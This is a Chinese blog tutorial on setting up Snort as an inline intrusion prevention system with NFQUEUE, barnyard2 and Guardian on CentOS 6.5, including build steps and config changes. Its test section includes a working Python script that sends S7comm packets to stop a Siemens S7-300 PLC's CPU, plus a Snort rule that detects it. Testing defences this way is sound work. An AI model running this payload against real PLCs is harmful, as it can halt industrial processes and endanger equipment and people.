基于Snort+barnyard2+Guardian实现实时告警和阻断的入侵防御系统

by LauCyun Jul 23,2016 12:19:59 24,112 views

Snort经常用作入侵检测系统(IDS),进一步可以配置为入侵防御系统(IPS)。Snort使用数据采集器(daq)监听防火墙数据包队列,配合Snort规则动作drop、alert等处理数据包,防火墙在Snort启动后添加链表队列。报文经过防火墙时,将交给Snort来处理,触发入侵检测规则时立刻响应动作,屏蔽数据包。其实,入侵防御系统应该直连在网络环境当中,需要配置网桥。Snort监听网桥的功能,防火墙更加要支持网桥,网桥也可以配置成透明的模式。

本文详细介绍了CenOS 6中搭建入侵检测系统Snort,并与防火墙联动实现实时告警或阻断的过程。

1 准备

环境:

  • 系统:CentOS 6.5
  • 网卡:两个管理网卡(一主一备)、两对bypass网卡(一主一备)

环境依赖:

  • wget、git、gcc、flex、bison、zlib、libpcap、pcre、tupdump等
  • bridge-utils
  • Iptables
  • MySQL
  • libdnet(version==1.12)
    libmnl(version==1.0.4)
    libnfnetlink(version==1.0.1)
    libnetfilter_queue(version==1.0.2)
  • daq(version==2.0.6)
  • snort(version==2.9.8.3)
  • barnyard2
  • guardian-1.7

配置网桥:

  • 安装 bridge-utils
    [root@localhost ~]# yum install -y bridge-utils
  • 创建网桥br0:
    [root@localhost ~]# brctl addbr br0  
    [root@localhost ~]# brctl stp br0 off  
    # 绑定网卡
    [root@localhost ~]# brctl addif br0 eth2  # 绑定eth2为br0网桥的一个端口
    [root@localhost ~]# brctl addif br0 eth3  # 绑定eth3为br0网桥的一个端口
    # 设置网卡ip
    [root@localhost ~]# ifconfig eth2 down  
    [root@localhost ~]# ifconfig eth3 down  
    [root@localhost ~]# ifconfig eth2 0.0.0.0 up  
    [root@localhost ~]# ifconfig eth3 0.0.0.0 up  
    [root@localhost ~]# ifconfig br0 up
  • 配置网桥br0,具体配置如下:
    # 修改ifcfg-br0:
    [root@localhost ~]# touch /etc/sysconfig/network-scripts/ifcfg-br0
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-br0
    DEVICE=br0
    TYPE=Bridge
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    
    # 修改ifcfg-eth2:
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-eth2
    DEVICE=eth2
    TYPE=Ethernet
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    BRIDGE=br0
    
    # 修改ifcfg-eth3:
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-eth3
    DEVICE=eth3
    TYPE=Ethernet
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    BRIDGE=br0

准备工作已经完成了,下面就来说具体的安装。

2 安装依赖组件

2.1 安装基础组件

安装基础的组件,比如:wget、gcc、flex、bison、zlib、pcre

[root@localhost ~]# yum install -y wget svn gcc gcc-c++ flex bison zlib zlib-devel pcre pcre-devel libtool curl man

2.2 安装libdnet

libnet是一个小型的接口函数库,主要用C语言写成,提供了低层网络数据包的构造、处理和发送功能。

[root@localhost ~]# cd /usr/local/src/
[root@localhost src]# wget http://pkgs.fedoraproject.org/repo/pkgs/libdnet/libdnet-1.12.tgz/9253ef6de1b5e28e9c9a62b882e44cc9/libdnet-1.12.tgz  
# 解压:  
[root@localhost src]# tar xvfz libdnet-1.12.tgz  
[root@localhost src]# cd libdnet-1.12/  
# 编译:  
[root@localhost libdnet-1.12]# ./configure "CFLAGS=-fPIC" --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libdnet-1.12]# make && make install 

2.3 安装libpcap

libpcap是一个网络数据包捕获函数库,功能非常强大,Linux下著名的tcpdump就是以它为基础的。

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget http://www.tcpdump.org/release/libpcap-1.7.4.tar.gz
# 解压:  
[root@localhost src]# tar zxvf libpcap-1.7.4.tar.gz
[root@localhost src]# cd libpcap-1.7.4/
# 编译:
[root@localhost libpcap-1.7.4]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:
[root@localhost libpcap-1.7.4]# make && make install

2.4 安装tcpdump

tcpdump是一个用于截取网络分组,并输出分组内容的工具,简单说就是数据包抓包工具。tcpdump凭借强大的功能和灵活的截取策略,使其成为Linux系统下用于网络分析和问题排查的首选工具。

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget http://www.tcpdump.org/release/tcpdump-4.7.4.tar.gz
# 解压:  
[root@localhost src]# tar zxvf tcpdump-4.7.4.tar.gz
[root@localhost src]# cd tcpdump-4.7.4/
# 编译:
[root@localhost tcpdump-4.7.4]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:
[root@localhost tcpdump-4.7.4]# make && make install

3 安装MySQL

略,具体请参考:如何用yum安装MySQL5.5

4 安装daq

 Snort从2.9.0版本开始引入了daq(packet acquisition),该模块实际上是一个抽象层专门为报文处理服务。

如果Snort要支持IPS模式,则先要把daq配置支持nfq模式,但是安装daq前需安装libnetfilter_queuelibnetfilter_queue需要依赖libmnllibnfnetlink支持。

4.1 安装libmnl

[root@localhost ~]# cd /usr/local/src/  
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libmnl/files/libmnl-1.0.4.tar.bz2  
# 解压:  
[root@localhost src]# tar -jxf libmnl-1.0.4.tar.bz2  
[root@localhost src]# cd libmnl-1.0.4/  
# 编译:  
[root@localhost libmnl-1.0.4]# ./configure --prefix=/usr --libdir=/usr/lib64  
# 安装:  
[root@localhost libmnl-1.0.4]# make && make install

4.2 安装libnfnetlink

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.1.tar.bz2
# 解压:  
[root@localhost src]# tar -jxf libnfnetlink-1.0.1.tar.bz2
[root@localhost src]# cd libnfnetlink-1.0.1/
# 编译:  
[root@localhost libnfnetlink-1.0.1]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libnfnetlink-1.0.1]# make && make install

4.3 安装libnetfilter_queue

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libnetfilter_queue/files/libnetfilter_queue-1.0.2.tar.bz2
# 解压:  
[root@localhost src]# tar -jxf libnetfilter_queue-1.0.2.tar.bz2
[root@localhost src]# cd libnetfilter_queue-1.0.2/
# 编译:  
[root@localhost libnetfilter_queue-1.0.2]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libnetfilter_queue-1.0.2]# make && make install

daq支持nfq模式的依赖组件都安装完成了,接下就是安装daq。

4.4 安装daq

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz  
# 解压:  
[root@localhost src]# tar xvfz daq-2.0.6.tar.gz  
[root@localhost src]# cd daq-2.0.6/  
# 编译:  
[root@localhost daq-2.0.6]# ./configure  

如果你安装了daq的依赖组件libnetfilter_queuelibmnllibnfnetlink,那么编译时会出现如下信息:

...
------------------------------
Build AFPacket DAQ module.. : yes
Build Dump DAQ module...... : yes
Build IPFW DAQ module...... : yes
Build IPQ DAQ module....... : no
Build NFQ DAQ module....... : yes
Build PCAP DAQ module...... : yes
Build netmap DAQ module.... : no
------------------------------
# 安装
[root@localhost daq-2.0.6]# make && make install

所以,现在daq支持AFPacketDumpIPFWNFQPCAP五种模式。

OK,daq已经安装完成。

5 安装与配置Snort

正主来了,接下来就是安装Snort,下载地址:snort-2.9.8.3.tar.gz

5.1 安装Snort

[root@localhost ~]# cd /usr/local/src/
# 下载
[root@localhost src]# wget https://www.snort.org/downloads/snort/snort-2.9.8.3.tar.gz
# 解压
[root@localhost src]# tar xvfz snort-2.9.8.3.tar.gz
[root@localhost src]# cd snort-2.9.8.3/
# 编译
[root@localhost snort-2.9.8.3]# ./configure --enable-sourcefire
# 安装
[root@localhost snort-2.9.8.3]# make && make install

检查是否安装成功,如下则安装成功:

[root@localhost ~]# snort --v

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.8.3 GRE (Build 383)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3

[root@localhost ~]#

再看支持哪些模式:

[root@localhost ~]# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv
[root@localhost ~]#

5.2 配置Snort

[root@localhost ~]# cd /etc/
[root@localhost etc]# mkdir snort
[root@localhost etc]# cd snort/
[root@localhost snort]# cp /usr/local/src/snort-2.9.8.3/etc/* .

从Snort官网下载最新的Rules,下载地址:snortrules-snapshot-2983.tar.gz(需要登录):

[root@localhost snort]# tar xvfz snortrules-snapshot-2983.tar.gz
[root@localhost snort]# cp ./etc/* .

创建规则的黑白名单文件:

[root@localhost ~]# touch /etc/snort/rules/white_list.rules /etc/snort/rules/black_list.rules

创建日志文件夹和其他:

[root@localhost ~]# mkdir /var/log/snort
[root@localhost ~]# mkdir /usr/local/lib/snort_dynamicrules

接下来,我们要修改一下snort.conf,修改如下:

[root@netvine ~]# vim /etc/snort/snort.conf
...
Line #52:
        ipvar HOME_NET 0.0.0.0/0
...
Line #170:
        config policy_mode:inline
        config daq: nfq
        config daq_mode: inline
        config daq_var: device=br0   # br0即为以eth2和eth3搭建的网桥
        config daq_var: queue=1
	    # config daq_dir: <dir>
...
Line #538:
        output unified2: filename snort.u2, limit 128
        output alert_fast: alert
...

详细配置可以参考:snort.conf分析(中文) - 云里雾里的专栏 - 博客频道 - CSDN.NET

5.3 运行Snort

运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0

后台运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0 -D  # 推荐
# 或
[root@netvine ~]# nohup snort -c /etc/snort/snort.conf -i eth0 &

afpacket模式下运行Snort:

[root@netvine ~]# snort --daq nfq --daq-mode inline -c /etc/snort/snort.conf -i eth0:eth1 -Q # 推荐
# 或
[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0:eth1 -Q 

nfq模式下运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -Q
# 或
[root@netvine ~]# snort -c /etc/snort/snort.conf -Q --daq nfq --daq-var device=br0 --daq-var queue=1 # 推荐

5.4 iptables添加NFQUEUE

为了实现阻断功能,需把数据包引入一个队列中,为此需要创建一个NFQUEUE:

[root@netvine ~]# iptables -I FORWARD -j NFQUEUE --queue-num 1  
[root@netvine ~]# iptables -nL  
...  
Chain FORWARD (policy ACCEPT)  
target     prot opt source               destination  
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0           NFQUEUE num 1  
... 

但是,需要开启系统的数据流转发功能,即修改/etc/sysctl.conf

[root@netvine ~]# vim /etc/sysctl.conf
...
# Controls IP packet forwarding
net.ipv4.ip_forward = 1
...
# Disable netfilter on bridges.
net.bridge.bridge-nf-call-iptables = 1
...

5.5 测试

测试一下是否安装与配置成功:

[root@localhost snort]# snort -c /etc/snort/snort.conf -Q
Enabling inline operation
Running in IDS mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"

...

[ Number of patterns truncated to 20 bytes: 78 ]
nfq DAQ configured to inline.
Reload thread starting...
Reload thread started, thread 0x7f9faf723700 (11977)

        --== Initialization Complete ==--

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.8.3 GRE (Build 383)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3

           Rules Engine: SF_SNORT_DETECTION_ENGINE  Version 2.6  <Build 1>
           Preprocessor Object: SF_SDF  Version 1.1  <Build 1>
           Preprocessor Object: SF_IMAP  Version 1.0  <Build 1>
           Preprocessor Object: SF_SSLPP  Version 1.1  <Build 4>
           Preprocessor Object: SF_SIP  Version 1.1  <Build 1>
           Preprocessor Object: SF_POP  Version 1.0  <Build 1>
           Preprocessor Object: SF_SSH  Version 1.1  <Build 3>
           Preprocessor Object: SF_FTPTELNET  Version 1.2  <Build 13>
           Preprocessor Object: SF_MODBUS  Version 1.1  <Build 1>
           Preprocessor Object: SF_DNS  Version 1.1  <Build 4>
           Preprocessor Object: SF_REPUTATION  Version 1.1  <Build 1>
           Preprocessor Object: SF_SMTP  Version 1.1  <Build 9>
           Preprocessor Object: SF_DCERPC2  Version 1.0  <Build 3>
           Preprocessor Object: SF_GTP  Version 1.1  <Build 1>
           Preprocessor Object: SF_DNP3  Version 1.1  <Build 1>
Commencing packet processing (pid=11976)
Decoding Raw IP4

如果显示上面信息,则说明安装与配置成功了!

6 安装与配置barnyard2

Barnyard2是Snort统一二进制输出文件的开源解释器。 它的主要用途是允许Snort以有效的方式写入磁盘,将将二进制数据解析成各种格式的任务分开,过程不会导致Snort错过网络流量。

6.1 安装barnyard2

[root@localhost ~]# cd /usr/local/src/
# 下载
[root@localhost src]# git clone https://github.com/firnsy/barnyard2.git
[root@localhost src]# cd barnyard2/
# 编译
[root@localhost barnyard2]# autoreconf -fvi -I ./m4
[root@localhost barnyard2]# ./configure --with-mysql --with-mysql-libraries=/usr/lib64/mysql/
# 安装
[root@localhost barnyard2]# make && make install

检查是否安装成功:

[root@localhost snort]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo
Running in Continuous mode

        --== Initializing Barnyard2 ==--
Initializing Input Plugins!
Initializing Output Plugins!
Parsing config file "/etc/snort/barnyard2.conf"


+[ Signature Suppress list ]+
----------------------------
+[No entry in Signature Suppress List]+
----------------------------
+[ Signature Suppress list ]+

Barnyard2 spooler: Event cache size set to [2048]
Log directory = /var/log/barnyard2
INFO database: Defaulting Reconnect/Transaction Error limit to 10
INFO database: Defaulting Reconnect sleep time to 5 second

[CacheSynchronize()],INFO: No system was found in cache (from signature map file), will not process or synchronize informations found in the database

database: compiled support for (mysql)
database: configured to use mysql
database: schema version = 107
database:           host = localhost
database:           user = snort
database:  database name = snort
database:    sensor name = localhost:bond1
database:      sensor id = 2
database:     sensor cid = 3
database:  data encoding = hex
database:   detail level = full
database:     ignore_bpf = no
database: using the "log" facility

        --== Initialization Complete ==--

  ______   -*> Barnyard2 <*-
 / ,,_  \  Version 2.1.14 (Build 336)
 |o"  )~|  By Ian Firns (SecurixLive): http://www.securixlive.com/
 + '''' +  (C) Copyright 2008-2013 Ian Firns <firnsy@securixlive.com>

Using waldo file '/var/log/snort/barnyard2.waldo':
    spool directory = /var/log/snort
    spool filebase  = snort.u2
    time_stamp      = 1503461582
    record_idx      = 0
Opened spool file '/var/log/snort/snort.u2.1503461582'
Closing spool file '/var/log/snort/snort.u2.1503461582'. Read 0 records
Opened spool file '/var/log/snort/snort.u2.1503470070'
Closing spool file '/var/log/snort/snort.u2.1503470070'. Read 0 records
Opened spool file '/var/log/snort/snort.u2.1503470781'
Waiting for new data

如果出现“Waiting for new data”,则说明安装成功!

6.2 配置barnyard2

[root@localhost barnyard2]# mkdir /var/log/barnyard2  
[root@localhost barnyard2]# touch /var/log/snort/barnyard2.waldo    
[root@localhost barnyard2]# cp /usr/local/src/barnyard2/etc/barnyard2.conf /etc/snort  

修改/etc/snort/barnyard2.conf,修改如下:

[root@localhost ~]# vim /etc/snort/barnyard2.conf
Line #72:
	config hostname:  localhost
	config interface: br0       # br0即为以eth2和eth3搭建的网桥
Line #229:
	output alert_fast: stdout
Line #356:
 	output database: log, mysql, dbname=snort user=snort password=root host=localhost  # 数据库名为snort,用户名为snort,密码为root

6.3 barnyard2运行方式

正常运行:

[root@localhost ~]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo

后台运行:

[root@localhost ~]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo –D
# 或
[root@localhost ~]# nohup barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo &

7 安装Guardian

Guardian是Snort的插件,通过读取Snort报警日志将入侵IP加入到Iptables中。

7.1 下载与安装

Guardian需要去官网下载http://www.chaotic.org/guardian/

[root@localhost ~]# cd /usr/local/src/packet/
# 下载
[root@localhost packet]# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz
# 解压
[root@localhost packet]# tar zxvf guardian-1.7.tar.gz
[root@localhost packet]# cd guardian-1.7/

在解压后的文件夹下,做下面的脚本拷贝操作:

[root@localhost guardian-1.7]# cp guardian.pl /usr/local/bin
[root@localhost scripts]# cd scripts/
[root@localhost scripts]# cp iptables_block.sh /usr/local/bin/guardian_block.sh
[root@localhost scripts]# cp iptables_unblock.sh /usr/local/bin/guardian_unblock.sh
[root@localhost scripts]# cd ../
[root@localhost guardian-1.7]# cp guardian.conf /etc/snort/

[root@localhost guardian-1.7]# touch /etc/snort/guardian.ignore   # 创建白名单
[root@localhost guardian-1.7]# touch /etc/snort/guardian.target   # 创建黑名单
[root@localhost guardian-1.7]# touch /var/log/snort/guardian.log  # guardian的日志

说明:

  • Guardian的执行文件:guardian.pl
  • Guardian封锁IP所要调用的外部程序:scripts/iptalbes_block.sh
  • Guardian解除对某一IP封锁时,所需要调用的外部程序:scripts/iptalbes_unblock.sh

7.2 修改源码

/usr/local/bin/guardian.pl中的:

...
# Line 115: 
sub checkem {
  my ($source, $dest,$type) = @_;
  my $flag=0;
  my $date = localtime();
  return 1 if ($source eq $hostipaddr); # this should prevent is from nuking
                                       # ourselves 
  return 1 if ($source eq $gatewayaddr); # or our gateway 
  if ($ignore{$source} == 1) { # check our ignore list..
     &write_log("$date: ");
     &write_log("$source\t$type\n");
     &write_log("Ignoring attack because $source is in my ignore list\n");
     return 1;
  }
  # if the offending packet was sent to us, the network, or the broadcast, then
  if ($targethash{$dest} == 1) {   
    &write_log("$date: ");
    &ipchain ($source, $dest, $type);
  }
  # you will see this if the destination was not in the $targethash, and the
  # packet was not ignored before the target check.. 
  else { 
    &write_log ("Odd.. source = $source, dest = $dest - No action done.\n"); 
    if (defined ($opt_d)) {
      foreach $key (keys %targethash) {
        &write_log ("targethash{$key} = $targethash{$key}\n");
      }
    }
  }
}
# Line 145: 
...

修改为:

sub checkem {
  my ($source, $dest,$type) = @_;
  my $flag=0;
  my $date = localtime();
  return 1 if ($source eq $hostipaddr); # this should prevent is from nuking
                                       # ourselves 
  return 1 if ($source eq $gatewayaddr); # or our gateway 
  if ($ignore{$source} == 1) { # check our ignore list..
     &write_log("$date: ");
     &write_log("$source\t$type\n");
     &write_log("Ignoring attack because $source is in my ignore list\n");
     return 1;
  }
  # if the offending packet was sent to us, the network, or the broadcast, then
  # if ($targethash{$dest} == 1) {   
  else {
    &write_log("$date: ");
    &ipchain ($source, $dest, $type);
  }
  # you will see this if the destination was not in the $targethash, and the
  # packet was not ignored before the target check.. 
  # else { 
  #   &write_log ("Odd.. source = $source, dest = $dest - No action done.\n"); 
  #   if (defined ($opt_d)) {
  #     foreach $key (keys %targethash) {
  #       &write_log ("targethash{$key} = $targethash{$key}\n");
  #     }
  #   }
  # }
}

还要把/usr/local/bin/guardian.pl中的:

...
# Line 88: 
sub load_conf {
  ...
  foreach $mypath (split (/:/, $ENV{PATH})) {
    if (-x "$mypath/guardian_block.sh") {
      $blockpath = "$mypath/guardian_block.sh";
    } 
    if (-x "$mypath/guardian_unblock.sh") {
      $unblockpath = "$mypath/guardian_unblock.sh";
    } 
  }
   ...
}
# Line 277: 
...

修改为:

  #foreach $mypath (split (/:/, $ENV{PATH})) {
  #  if (-x "$mypath/guardian_block.sh") {
  #    $blockpath = "$mypath/guardian_block.sh";
  #  } 
  #  if (-x "$mypath/guardian_unblock.sh") {
  #    $unblockpath = "$mypath/guardian_unblock.sh";
  #  } 
  #}
  $blockpath = "/usr/local/bin/guardian_block.sh";
  $unblockpath = "/usr/local/bin/guardian_unblock.sh";

然后,我们还需要修改guardian_block.sh、guardian_unblock.sh:

[root@localhost ~]# vim /usr/local/bin/guardian_block.sh
# /sbin/iptables -I INPUT -s $source -i $interface -j DROP
/sbin/iptables -t raw -I PREROUTING -s $source -j DROP
 
[root@localhost ~]# vim /usr/local/bin/guardian_unblock.sh
# /sbin/iptables -D INPUT -s $source -i $interface -j DROP
/sbin/iptables -t raw -D PREROUTING -s $source -j DROP

ok,已经全部修改完毕!

7.3 配置Guardian.conf

Guardian的配置文件/etc/snort/guardian.conf如下:

# The machines IP address that is visable to the internet
# If this is left undefined, then guardian will attempt to get the information
# from ifconfig, as long as it has an interface to use. This would be useful
# for people on ppp links, or dhcp machines, or if you are lazy :)
HostIpAddr      0.0.0.0

# Here we define the interface which we will use to guess the IP address, and
# block incoming offending packets. This is the only option that is required
# for guardian to run. If the rest are undefined, guardian will use the default.
Interface       br0

# The last octet of the ip address, which gives us the gateway address.
HostGatewayByte  1

# Guardian's log file
LogFile         /var/log/snort/guardian.log

# Snort's alert file. This can be the snort.alert file, or a syslog file
# There might be some snort alerts that get logged to syslog which guardian
# might not see..
AlertFile       /var/log/snort/alert

# The list of ip addresses to ignore
IgnoreFile      /etc/snort/guardian.ignore

# This is a list of IP addresses on the current host, in case there is more
# than one. If this file doesn't exist, then it will assume you want to run
# with the default setup (machine's ip address, and broadcast/network).
TargetFile      /etc/snort/guardian.target

# The time in seconds to keep a host blocked. If undefined, it defaults to
# 99999999, which basicly disables the feature.
TimeLimit       3600

TimeLimit:在多少秒后解除对IP的封锁,86400秒也就是24小时之后解除对IP的封锁。AlertFile是关键,前提是snort以alert_fast输出报警信息

7.4 运行Guardian

常规运行:

[root@localhost ~]# /usr/bin/perl /usr/local/bin/guardian.pl -c /etc/snort/guardian.conf

后台运行:

[root@localhost ~]# nohup /usr/bin/perl /usr/local/bin/guardian.pl -c /etc/snort/guardian.conf &

如果运行Guardian,显示如下信息:

OS shows Linux
Warning! Logfile is not writeable! Engaging debug mode, output to STDOUT
My ip address and interface are: 0.0.0.0       br0
Loaded 0 addresses from /etc/snort/guardian.ignore
Loaded 0 addresses from /etc/snort/guardian.target
Running in debug mode..

则说明配置成功!

8 验证

8.1 测试环境

  • 攻击机:192.168.0.124(Windows 10)
  • 靶   机:192.168.0.234(Siemens S7-300 PLC)
  • 装Snort的IPS设备串联子啊攻击机和靶机之间

Snort规则库如下:

800003||tcp any any -> any 102 (msg:"stop"; flow:established; content:"|03 00 00 21 02 f0 80 32 01 00 00 06 00 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d|"; sid:800003; rev:1;)

攻击脚本为:

#!/usr/bin/python
# coding:utf-8

import time
import socket

PLC_ADDR = "192.168.0.234"
PLC_PORT = int("102")

create_connect_payload = '\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x14\x00\xc1\x02\x01\x00\xc2\x02\x01\x02\xc0\x01\n'
setup_communication_payload = '\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x02\x00\x00\x08\x00\x00\xf0\x00\x00\x02\x00\x02\x01\xe0'
cpu_stop_payload = "\x03\x00\x00\x21\x02\xf0\x80\x32\x01\x00\x00\x06\x00\x00\x10\x00\x00\x29\x00\x00\x00\x00\x00\x09\x50\x5f\x50\x52\x4f\x47\x52\x41\x4d"

s = socket.socket()
s.connect((PLC_ADDR, PLC_PORT))
time.sleep(0.5)
s.send(create_connect_payload)
time.sleep(0.5)
s.send(setup_communication_payload)
time.sleep(0.5)
s.send(cpu_stop_payload)
time.sleep(0.5)
s.recv(1024)
s.close()

这个脚本是使PLC的CPU在特定构造的ProfinetIO二层网络包通讯时拒绝服务,CPU进入故障模式,需手动重启进行恢复。

8.2 测试效果

测试Snort的告警,如下图:

测试Snort的阻断,如下图:

Tags